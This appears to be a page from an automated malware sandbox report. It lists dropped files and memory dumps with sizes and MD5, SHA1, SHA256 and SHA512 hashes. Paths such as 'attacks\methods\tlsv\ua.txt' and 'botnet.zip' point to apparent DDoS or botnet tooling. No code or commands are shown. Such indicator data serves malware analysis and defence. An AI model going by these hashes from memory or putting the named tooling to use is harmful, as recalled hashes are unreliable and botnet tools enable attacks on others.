5b5f8e52c1463540bebde54fe3385b987cc1a594eaf74d510570e9c1a98e535a0a3f287d8bd0872c808a1b85d8c2ffe7ab8fe740a3c04db137e413fc9b4095c8

Download Submit
C:\Users\Admin\Desktop\attacks\methods\tlsv\ua.txt

Filesize
21KB

MD5
764de31d4f24fb699ce883bd76479c1b

SHA1
2f23d0e08886b25496f39f6bcb029963f94eefbc

SHA256
5bd9e6ac5c22ad7e93f1ab11049d9a89d93f449fcbf45c60de3c52a7b94191ff

SHA512
0aae314395c2f1bebc2b385a5f49b72e5dbe5531360fbb967a84ca7d0a7f7981eb12c6d0be73e801de80a277d87aa5b5e41ef31b791057282986aadc827b808d

Download Submit
C:\Users\Admin\Desktop\botnet.zip

Filesize
102.2MB

MD5
5bb85a31212764a644641bae9c63335e

SHA1
595e8e7df7c8a1fd1c1bbbb973c747810ee46a37

SHA256
94cb34780ec0e193eff4dc120c09d4d2d4d87b0af48c853e4b6c7a9fd4deeb7e

SHA512
ddecf2be9bbaab3a2f93a571877e36a98fec7bfb64516646053e272fa22000183da6f865d2dc7be2af92ee480131e05d23d34efa838ca1bd15a48269551b8002

Download Submit
C:\Users\Admin\Desktop\forvmbox.exe

Filesize
92KB

MD5
8c661213d9bbfb8a9a3d42c6b6cb7059

SHA1
9f795650dfbac6f49896026b047d16f3a0c16ec9

SHA256
3a02fcf8821a21bafcdc5273eccce353036dd48ffd5c5f91a1d47e5a9fa243ce

SHA512
d21b5b738857535c6eb181636ab78c08d872d33b5b18dff50ab694f6d1afe335db321767720a0a5ab056c3c03e98195dd4086f7eb8e21abf25ff3c0ac75bf0d4

Download Submit
memory/3392-94-0x00007FFA3C890000-0x00007FFA3D351000-memory.dmp

Filesize
10.8MB

Download
memory/3392-101-0x00000224F3570000-0x00000224F3580000-memory.dmp

Filesize
64KB

Download
memory/3392-106-0x00000224F3570000-0x00000224F3580000-memory.dmp

Filesize
64KB

Download
memory/3392-159-0x00007FFA3C890000-0x00007FFA3D351000-memory.dmp

Filesize
10.8MB

Download
memory/3392-17-0x00000224F3C80000-0x00000224F3C92000-memory.dmp

Filesize
72KB

Download
memory/3392-18-0x00000224F3910000-0x00000224F391A000-memory.dmp

Filesize
40KB

Download
memory/3392-14-0x00000224F3570000-0x00000224F3580000-memory.dmp

Filesize
64KB

Download
memory/3392-16-0x00000224F3570000-0x00000224F3580000-memory.dmp

Filesize
64KB

Download
memory/3392-15-0x00000224F3570000-0x00000224F3580000-memory.dmp

Filesize
64KB

Download
memory/3392-13-0x00007FFA3C890000-0x00007FFA3D351000-memory.dmp

Filesize
10.8MB

Download
memory/3392-8-0x00000224F36B0000-0x00000224F36D2000-memory.dmp

Filesize
136KB

Download